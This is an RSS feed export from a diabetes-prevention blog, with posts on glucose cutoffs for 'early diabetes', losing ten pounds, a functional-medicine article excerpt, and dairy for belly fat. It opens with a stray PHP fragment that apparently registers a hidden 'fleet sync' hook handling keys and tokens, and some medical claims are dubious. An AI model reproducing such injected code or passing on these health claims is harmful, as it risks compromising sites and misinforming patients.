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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); metabolic syndrome – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 03 Nov 2010 22:00:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp metabolic syndrome – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Metabolic Syndrome or Pre-diabetes? Neither…Early Diabetes https://skinnygeneprojectnew.dreamsites.io/metabolic-syndrome-or-pre-diabetes-neither-early-diabetes/ https://skinnygeneprojectnew.dreamsites.io/metabolic-syndrome-or-pre-diabetes-neither-early-diabetes/#respond Wed, 03 Nov 2010 22:00:30 +0000 http://skinnygeneproject.com/?p=856 In honor of National Diabetes Awareness month, we would like to share posts and articles from various people who work with or are directly affected by diabetes.

To start us off, we asked Robert F. Dons, MD, PhD to share his thoughts  about the different terms used to describe diabetes or prediabetes.

I personally have had the pleasure of meeting Dr. Dons on a few occasions. Not only is he brilliant, he is also very kind.  It was apparent from our very first meeting that Dr. Dons cares deeply for his patients and goes above and beyond to ensure they are getting the best quality of care. I think what impressed me the most about Dr. Dons was his enthusiasm for patient education.  In addition to being one of the best Endocronologist I have met, here are some other fun facts about Dr. Dons.

  • University of Illinois MD graduate 1973, PhD biochemistry graduate 1975
  • Fellowship in Endocrinology, Diabetes and Metabolism at the National Institutes of Health 1982
  • Private practice of clinical endocrinology for more than 10 years in San Antonio
  • Published author of definitive textbook about tests used by endocrinologists for making endocrine diagnoses
  • Endurance athlete –runner – working on 3rd half marathon – projected finish time (62 years old)  in 2 hours 35 min

Please feel free to write questions about the article or Dr. Dons in the comment section below. 

Metabolic Syndrome or Pre-diabetes? NEITHER! What counts is “Early Diabetes”

 

 

Many folks have heard the term ‘borderline’ diabetes. Some have been told that is what they have. If you are one of them and have looked up what it means, you will probably come across the terms metabolic syndrome and ‘pre-diabetes’. You may see the term ‘early diabetes’ as well and that is what I wish to focus on in this article.

So what do all these terms mean? Do they all refer to the same thing or do they have significantly different meanings? Even more importantly, what is the underlying cause of these conditions, what does having one or more of these conditions mean in terms of future health and what can be done about them?

First, I would like to get rid of the term ‘borderline diabetes’. It can mean completely different things to patients and their doctors. In my opinion, the term is almost meaningless. One might use the phrase ‘sugar problem’ or a ‘touch of sugar’ and get the same level of information. In brief, serious problems with diabetes mellitus (DM) can be overlooked when this term is used or an over diagnosis of diabetes can be made when only a transient and insignificant change in blood sugar is detected.

Knowing something about sugar in the blood stream is important to understanding these terms. Sugar in the blood should always be called glucose. When measuring glucose the difference between glucose in the plasma versus that in whole blood must be understood. Whole blood is defined as plasma mixed with red cells; a plasma sample has had the red cells removed. Measurements done in laboratories on receipt of venous whole blood samples and those done from blood samples obtained from a finger may result in a report of either plasma or blood glucose level. In general, reports of plasma glucose are preferred since they are more accurate and have become the universal standard. These measurements are higher than those obtained from whole blood. The glucose levels used throughout the rest of this article will be those found in plasma.  

Many years ago, the term “Syndrome X’ was used to describe the mysterious coexistence of five medical problems which are now collectively called ‘metabolic syndrome’. They were hypertension, elevated fasting glucose, elevated triglycerides, low HDL and obesity. These problems are now precisely defined and are recognized as important markers of a serious, but common, condition known as insulin resistance. Much research has gone into understanding more about insulin resistance, but much more remains to be known.

It is important to know that having one or more of the features of metabolic syndrome does not mean that you are diabetic. On the other hand, most diabetics who are not dependent on insulin therapy have one or more of these problems. In the last few years, having one or more of these problems has led physicians to label a patient ‘pre-diabetic’. At first, some authorities thought that at least three of the five problems had to be present before this ‘diagnosis’ could be entertained. This idea was very arbitrary and has been abandoned. In my opinion, there is no practical set of features which defines a condition known as pre-diabetes. Thus, I discard this term much like the term ‘borderline’ diabetes.

So what are the features of metabolic syndrome? They are described in detail by the International Diabetes Foundation (IDF) and are presented in my book Endocrine and Metabolic Disorders Clinical Lab Testing Manual 4th Edition 2009. In this book are described a multitude of other tests relevant to the diagnosis of diabetes mellitus (DM) and related conditions.

Precise definitions of the problems constituting the metabolic syndrome, as formalized in 2005, are as follows:

  1. Hypertension with a systolic blood pressure or top number equal to or above 130 mm Hg or a diastolic or bottom number equal to or higher than 85 mm Hg
  2. Elevated fasting plasma glucose on arising equal to or greater than 100 mg/dL
  3. Elevated triglycerides, a lipid fraction in the blood, equal to or greater than 150 mg/dL, may be toxic to the beta cells of the pancreas by breaking up into free fatty acids.
  4. Low HDL (high density lipoprotein), defined as less than 40 mg/dL for men and less than 50 mg/dL for women
  5. Obesity, defined as an increase in abdominal girth (not waist size!) equal to or exceeding the gender and ethnic ‘cutoffs’ decided by the IDF, is perhaps the most important factor. These ‘cutoffs’ range from 37 inches for European men to 31 inches for Asian women. Other cutoffs popularly used in the U.S. are 40 inches for men and 35 inches for women.

 

At this point I would like to focus on the fasting and after meal glucose levels as markers of ‘early diabetes’. First of all it must be recognized that the term ‘early diabetes’ has not been precisely defined and that experts in the science of metabolism may argue for different definitions than I present here. Nonetheless, from my studies and experience, I believe that what follows is a practical and helpful guide to deciding if an individual actually has ‘early diabetes’.

When it comes to the fasting plasma glucose (FPG) level on arising from sleep, several factors must be taken into consideration. The first of these is the timing of the last intake of food or drink. While several hours (more than 2) is all it takes to bring the glucose into a ‘steady state’, a prolonged period of fasting (not eating or drinking anything, usually for more than 14 hours) can result in a falsely lower or non-diagnostic FPG. Another factor is the amount of fat stored in the liver. Higher amounts of fat are found in the livers of more obese persons and higher FPG will occur. Stress in general, sleep disturbances or sleep apnea syndromes also raise the FPG. If someone has absolutely no problem with diabetes or any of the other problems noted above, a normal FPG rarely is greater than 85 mg/dL. Early diabetes may be suspect at a FPG of greater than 94 mg/dL and is almost certainly present at 100 mg/dL or more while ‘overt’ DM is a level of 200 mg/dL or more.

So what about after meal glucose levels? It is important to differentiate these levels from ‘random’ glucose levels obtained anytime during the day. Scientifically, the after meal glucose is called a ‘post-prandial’ or post-cibum (pc) glucose and is measured in a blood sample obtained 2 hours from when the last meal was started. It is also important to recognize that this level is completely different from the glucose levels obtained after a glucose tolerance test or GTT. The GTT is a research test which involves the oral intake of an artificially high concentration of glucose (50 to 100 grams in water) over a short time followed by measurement of glucose levels at various times up to 5 hours. The GTT has only one use clinically and that is in pregnancy to help with the early diagnosis of gestational DM.

Post-prandial or pc glucose levels can go up in response to a variety of factors such as increased stress, high proportion of carbohydrates to protein and fat in the meal, a higher proportion of ‘simple’ to ‘complex’ carbohydrates in the meal, an inadequate number of calories eaten in the past few days followed by an excess carbohydrate intake, a faster rate of stomach emptying and a low-level of activity. However, when it comes to the diagnosis of early DM these factors are not critically important. Importantly, when an individual has a ‘normal’ FPG and abnormally high 2 hour pc glucose, the possibility of early DM is very likely.

If the 2 hour pc or random glucose level is 200 mg/dL or greater and is confirmed on repeat testing, the diagnosis of overt DM is established. Glucose values pc less than 200 mg/dL may or may not indicate DM. As a practical matter, in someone who is not known to be diabetic, a 2 hour pc glucose over 140 mg/dL prompts further study with repeat testing of the pc glucose and the use of another test called the hemoglobin A1c (HgbA1c). It is not unusual for someone to have a single determination of pc glucose up to 180 mg/dL and not be diabetic especially if the factors noted above or diabetogenic (e.g., steroid) medications are involved.

In the diagnosis of early diabetes, the HgbA1c is an invaluable, but occasionally misleading, test. The HgbA1c allows an estimation of the average glucose level over the past 6 to 8 weeks. It is a fully integrated value reflecting both all the highs and all the lows in glucose. This test is capable of such a feat by using the capacity of the protein hemoglobin in red cells to combine with free glucose which binds to the hemoglobin in an irreversible manner. Thus, the higher the glucose level, the more binding and the higher the percentage of hemoglobin converted into HgbA1c. While a truly non-diabetic level of HgbA1c has not been established, the following cutoffs are of practical use. A HgbA1c of less than 5.7% is not in the diabetic range unless the patient is anemic or has rapid turnover of red cells which falsely lowers the percentage of glucose bound to the hemoglobin molecule.  A HgbA1c of 6.5% or greater is consistent with overt diabetes if other tests confirm it. HgbA1c in between these levels are indeterminate, but highly suspect for the diagnosis of early diabetes especially if one or more features of the metabolic syndrome is present.

In summary, there are practical criteria for the diagnosis of early diabetes.  These criteria are a Hgb A1c of between 5.8% and 6.5%, a confirmed FPG of more than 100 mg/dL, and a 2 hour pc glucose of more than 140 mg/dL. Once the diagnosis is made, treatment, particularly cost-effective lifestyle changes, can get started. This is important because bringing down the glucose can help preserve the insulin secreting capacity of the pancreas. Medications can help to accomplish this goal – an extension of the life of the pancreas. Lifestyle changes, particularly weight loss, help reduce triglycerides and its components known as free fatty acids which are toxic to insulin secreting cells in the pancreas.

]]> https://skinnygeneprojectnew.dreamsites.io/metabolic-syndrome-or-pre-diabetes-neither-early-diabetes/feed/ 0 Power of 10 https://skinnygeneprojectnew.dreamsites.io/power-of-10/ https://skinnygeneprojectnew.dreamsites.io/power-of-10/#respond Wed, 15 Sep 2010 21:07:25 +0000 http://skinnygene.wordpress.com/?p=621  

Quick!  What’s your first reaction to these 3 words…Just 10 pounds?

It’s interesting. These 3 words can evoke a different response from different people depending on their past experiences and how they view their future. 

Discouraged: A person who has 50 or more pounds to lose might not be able to see the significance in losing 10 pounds, and is instead discouraged by the idea that “it’s just 10 pounds” and there’s so much more to go. 

Hopeful: A mother, who recently had a baby and is anxious to get back into her favorite pair of jeans, might feel as though losing just 10 pounds is the difference between what “is” and what ”could be”.    

Disconnected: For a person who has tried countless times to lose weight, failed, and finally gave up. Just 10 pounds may feel out of reach. To them, there is an inherent contradiction in the words “just” and “10 pounds”, since “just” implies that something is easy, and for them losing 10 pounds (for good) is anything but that.

Regardless of whether the idea of losing weight is led by anxiety or optimism, we want you to know that “Just 10 Pounds” should ALWAYS be associated with 3 equally simple words – “A BIG DEAL”.

Whether losing 10 pounds is a part of the journey or the goal, ONE thing is undeniable…

Just 10 pounds is empowering; it can become life changing.

 
With just 10 pounds, comes confidence and optimism, and of course – prevention.

Yes, with 10 pounds you may see a difference in your clothes (maybe even drop a dress size), but the most important benefits are those that aren’t as visibly noticeable.

Did you know that losing Just 10 Pounds might drastically improve or prevent the further development of these 10 serious health problems?

  1. type 2 diabetes
  2. stroke
  3. coronary heart disease
  4. metabolic syndrome
  5. certain types of cancer
  6. sleep apnea
  7. osteoarthritis
  8. gallbladder disease
  9. fatty liver disease
  10. pregnancy complications

 Remember, it all begins with “Just 10”.

We’re all unique, and the things that make us different also influence the impact weight loss can have on our health. If you would like to learn how 10 pounds can make a difference in your life, we’d like the chance to talk to you.

Just click here and member of our nutrition team will contact you soon!

]]> https://skinnygeneprojectnew.dreamsites.io/power-of-10/feed/ 0 Couldn’t Have Said It Better: Preventing Type 2 Diabetes https://skinnygeneprojectnew.dreamsites.io/couldnt-have-said-it-better-preventing-type-2-diabetes/ https://skinnygeneprojectnew.dreamsites.io/couldnt-have-said-it-better-preventing-type-2-diabetes/#respond Thu, 09 Sep 2010 22:59:25 +0000 http://skinnygene.wordpress.com/?p=599 We frequently come  across articles or posts that really echo our belief about the importance of preventing prediabetes from developing into full-blown type 2 diabetes. Here’s one that we recently found on Women to Women.

(Disclaimer: Neither the  J.Moss Foundation nor the Skinny Gene Project  endorse any products or services offered by Women to Women. The information provided is strictly for education purposes only.)

Preventing type 2 diabetes and metabolic syndrome

by Marcelle Pick, OB/GYN NP

It’s sad to me that most of the women we see at our clinic either aren’t concerned about type 2 diabetes — or they already have it. I so wish that all women in the first group would learn from the women in the second. The key lesson is that your risk of developing type 2 diabetes is greater than you probably realize. The good news is you can prevent it, and the path to prevention will awaken you in so many ways.

I see patients who are not overweight and who think they’re leading fairly healthy lives end up with high blood sugar. In fact, some people who have prediabetes or metabolic syndrome are not obese, and may even be considered “thin.” Yet these women can go on to develop type 2 diabetes.

How does that happen? And how do you make sure it doesn’t happen to you? In my view, there are several factors behind the diabetes epidemic. Women don’t realize how much sugar — in all its forms — they are feeding their bodies. Of course, obesity and lack of exercise are enormous issues as well. But few people — and not many doctors — realize that diabetes is a metabolic disorder that has multiple causes.

Twenty years ago very few practitioners were aware of metabolic syndrome. In fact, it was a controversial idea. Today it’s a diagnosis that’s broadly accepted in conventional medicine. The new idea today is that there are many metabolic syndromes — a family of related disorders which lead to diabetes as well as to other chronic and degenerative diseases. That may sound scary, but it’s actually good news. It means that medicine is getting insight into how the body works, how to see problems much earlier, and how to prevent disease.

So let’s look into what you can learn now about your risks of developing type 2 diabetes — and how to make sure it doesn’t happen to you.

What is diabetes?

If I told you that people with untreated diabetes were literally starving, would you believe me? It may sound extreme, but it’s true. The term diabetes mellitus is actually derived from the Greek words meaning “to run through.” And this is exactly what’s happening. In diabetes, the nourishment we take in cannot get into our cells, and literally runs through the body instead of feeding it.

Think of feeding your hanging plants with too much nutrient-rich water. Instead of the roots drinking in the nutrients and water, the nourishment runs straight through the soil and trickles out onto the floor. No matter how much you feed the plant, the water runs through it. Eventually its leaves start to yellow, shrivel, or drop. Like your plant, the cells of a diabetic patient can’t absorb the nourishment they need.

Tips for Personal Program Success

Create your own “fast food.” It’s easier to stick to an eating plan if the food is ready whenever you are. Set aside a little time on weekends to prepare dishes and snacks for the coming week and freeze them, so you have healthy foods there when you want to snack or get something on the table quickly.

Under normal circumstances, our bodies break down food we eat into potential energy. That energy enters the blood stream mostly in the form of glucose. Glucose is then escorted into our cells with the help of the hormone insulin, where it becomes the fundamental fuel for all cell activity. In diabetes, our cells can’t access glucose because insulin is either absent or unable to open the cell door to let it in.

The result is excess glucose or “sugar” floating around in the blood with no place to go. In a desperate effort to restore blood sugar levels to normal, our bodies end up eliminating the unused glucose, allowing it to “run through” our bodies, depriving us of the energy and nourishment we need.

Just as the leaves shriveling on your houseplant signal trouble, your body will try to alert you when it isn’t getting enough fuel. The following are warning signals that your body may already have type 2 diabetes:

  • Increased hunger (especially in the form of carbohydrate cravings)
  • Increased thirst
  • Exhaustion
  • Frequent urination
  • Weight loss or gain
  • Blurry vision
  • Cuts or sores that won’t heal

Because your cells aren’t being fed, your brain sends out the message that you’re hungry, tired and thirsty. And though you may be eating and drinking more, your cells are literally starving. This faulty insulin signaling is the thread common to all forms of diabetes.

There are three main types of diabetes: type 1, type 2 and gestational diabetes. Type 1 is characterized by a defect in the islet cells of the pancreas that makes them unable to produce any insulin at all. Previously referred to as juvenile diabetes, type 1 is thought to be autoimmune in nature and is generally diagnosed in early childhood. Type 2, also commonly referred to as adult onset diabetes mellitus or noninsulin-dependent diabetes, develops when cells become resistant to insulin. And gestational diabetes occurs late in pregnancy when a mother’s hormones interfere with her ability to utilize insulin. All forms of diabetes, if left untreated, can lead to serious complications — including eye problems, compromised circulation, kidney damage, and nerve damage.

It may give you some comfort to know that type 2 diabetes doesn’t just hit overnight, but develops gradually over time. And though there are several risk factors that can increase your likelihood of developing it, the progression toward type 2 diabetes begins when you become resistant to your own insulin. In functional medicine, insulin resistance is an early indication of metabolic syndrome.

The connection between metabolic syndrome and type 2 diabetes

Twenty years ago, metabolic syndrome was almost an unknown idea among conventional practitioners. Today it is recognized as the precursor to full-blown diabetes. This is gratifying because it means conventional medicine accepts the idea that diabetes develops over time — it doesn’t just appear overnight.

The diagnosis of metabolic syndrome is made when three or more of five disorders are present in the patient: high triglycerides, low HDL cholesterol, high blood sugar, high blood pressure and an above-average waistline.

In functional medicine, insulin resistance and metabolic syndrome are the same thing. We view them this way because they begin with the same faulty cell signaling that, over time, causes metabolic disorders and damage, symptoms such as those used in the conventional diagnosis of metabolic syndrome, and eventually, degenerative diseases.

New research is showing that we can use specific nutrients to sort out the mixed-up cell signaling that occurs in metabolic syndrome and reverse the problem. This is fascinating to me because it promises that we can use food and supplements to prevent or reverse insulin resistance and other metabolic disorders instead of medication with its unwanted side effects! We will be hearing more about this in the next few years, but in the meantime following a Mediterranean diet can help provide similar effects.

Interestingly, making poor food choices is one of the big culprits leading to insulin resistance in the first place.

What causes prediabetes and the diabetes progression?

Type 2 diabetes manifests itself differently in each individual. And though symptoms and severity may vary, the starting point for most women is a diet with a high glycemic load (high in refined sugars and carbohydrates), combined with inactivity and a family history of type 2 diabetes. Next, the body reacts to high blood sugar by producing more insulin. With persistently high insulin levels, cells eventually build up a resistance to it and stop opening their doors. This stage, known as insulin resistance, is when glucose begins to pass through the body without being absorbed.

Soon enough, the pancreas gets the message and decreases insulin production. As insulin levels drop and diet remains high in glucose, blood sugar continues to creep up. Ultimately, insulin levels drop and blood sugar jumps dramatically. This is the point where the official diagnosis of diabetes is typically made. Since the harmful effects of insulin resistance cut across all the body’s systems, the severity at this point varies widely from individual to individual based on the health of their other systems. While some people with diabetes continue to make small amounts of insulin and can control their blood sugar through diet, others stop producing insulin altogether and have to rely on outside sources of insulin.

The progression is shown in the following diagram.

Numbers may differ from lab to lab, but type 2 diabetes is generally diagnosed when fasting blood glucose has reached 126 mg/dL or higher (compared to a normal range blood sugar level between 70 and 99 mg/dL). At Women to Women, we feel it’s much more beneficial to watch trends in blood glucose over time than to stick with one number.

In other words, if I see a woman’s blood glucose going up a little every year — even if those levels are still well under 99 mg/dL — I begin working with her right away to make healthy changes in her life. A gradual increase in blood sugar means that her cells are already insulin resistant, though the degree depends on her unique situation. And this is our chance to intervene early!

Fortunately, there are several stops on the pathway to type 2 diabetes and, as with any good road trip, there are various routes available and opportunities to turn around. The problem is that many conventional healthcare practitioners don’t step in early enough to change a patient’s course until it becomes difficult to reverse.

Waiting for sugar

It makes sense that if one out of every three of us is walking around with prediabetes, healthcare practitioners would be prepared to implement strategies to halt its progression to type 2. But this isn’t always the case. Standard blood tests look at blood sugar, among other things, but leave out one of the first indicators of prediabetes: insulin. Remember that insulin levels are among the first markers of change on the pathway to diabetes. At first they increase as insulin resistance sets in, then they start to decrease. So understanding how your insulin is working can help you to make important changes early on.

Sadly, many conventional practitioners lack the time to look closely at a patient’s lifestyle to determine if they could benefit from an insulin test. In fact, there is no set protocol for intervention until blood sugar begins to creep up, which means the patient has passed insulin resistance already. And though you can still reverse the problem, you’re much further along by then.

At Women to Women, we encourage our patients to take the driver’s seat when it comes to their health. Oftentimes, this means taking an honest look at your symptoms, nutrition and exercise habits, and it could also mean deciding for yourself that you could benefit from an insulin test. There is nothing wrong with requesting an insulin test from your healthcare provider yourself.

Staying on top of insulin early can help you avoid type 2 diabetes, insulin imbalance — and the problems associated with it, including imbalance of your sex hormones.

(click here to read the rest of the article)

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]]> https://skinnygeneprojectnew.dreamsites.io/couldnt-have-said-it-better-preventing-type-2-diabetes/feed/ 0 Getting Rid of the Jiggle Around Your Middle https://skinnygeneprojectnew.dreamsites.io/getting-rid-of-the-jiggle-around-your-middle/ https://skinnygeneprojectnew.dreamsites.io/getting-rid-of-the-jiggle-around-your-middle/#respond Mon, 14 Jun 2010 18:14:39 +0000 http://skinnygene.wordpress.com/?p=447 By Emily Barr, MS,RD,CNSC

Whether you have a little extra around the middle, a muffin top, a little baby fat, a spare tire, love handles, or a beer belly, you need to know you are at risk!

Some of these terms of endearment, or some not so glamorous terms for extra weight around the waistline, are actually a big red flag of danger!  We call this central adiposity or AKA belly fat.  This is the fat that unfortunately made a home around your belly button and is the most scary type of fat of all.  It increases your risks of heart disease (heart attack and stroke), cancer, insulin resistance, type 2 diabetes, sleep apnea, and metabolic syndrome to name a few.   The feat of losing the weight around your midsection may seem difficult and frustrating at times, but what if we let you in on a little secret?

Research shows that adults who ate a low-calorie diet including at least 3 servings of dairy, lost more weight!  Oh and wait, that’s not all.  These adults also had lower blood pressure, risk of obesity, lower risk of insulin resistance and type 2 diabetes, stronger teeth and bones, and lower risk of heart disease and stroke.  It seems like an obvious solution for that extra jiggle in our middles and our commitment to better health.

So are you ready to add some extra dairy to your day?  Try having 3 or more servings  a day! One serving is equal to one cup of milk, yogurt, cottage cheese, or pudding. You can also get your daily servings of dairy from cheese. It’s easy; 1 oz (about the size of 4 dice) of cheese equals 1 daily serving of dairy.  Choose the low-fat or nonfat versions to help control your overall calorie and fat intakes.   Here are some ideas to help you eat more dairy to lose more weight!

  • Use milk in place of water when making hot cereals, hot chocolate, and soups
  • Make yogurt parfaits with low-fat yogurt topped with cereal
  • Make smoothies with yogurt, low-fat milk, fruits and for a bonus a spoonful of flaxseed!
  • Use plain nonfat yogurt in place of sour cream for dips and sauces.
  • Have high calcium snacks on hand such as yogurts, string cheese, low-fat pudding.
  • Add low-fat cottage cheese to your salads.
  • Add a little light chocolate syrup to your low-fat or nonfat milk.
  • Try fruit or vegetable and cheese kabobs for a fun treat!

Whether you enjoy your low-fat smoothie, chocolate milk, or reduced fat cheese, remember 3 servings a day in combination with a healthy diet will help reduce your belly fat!

In honor of National Dairy Month, I would like for all of us to raise our nice frosty mugs of milk and toast to losing that jiggle around your middle!

By Emily Barr, MS,RD,CNSC

Want More?? Check out these posts from Emily…

Meet Emily

Value Menu-Eat now, Pay later

Different ages, different requirements to be healthy!

Kids Really Do Like Fruits and Vegetables

Spring into Green

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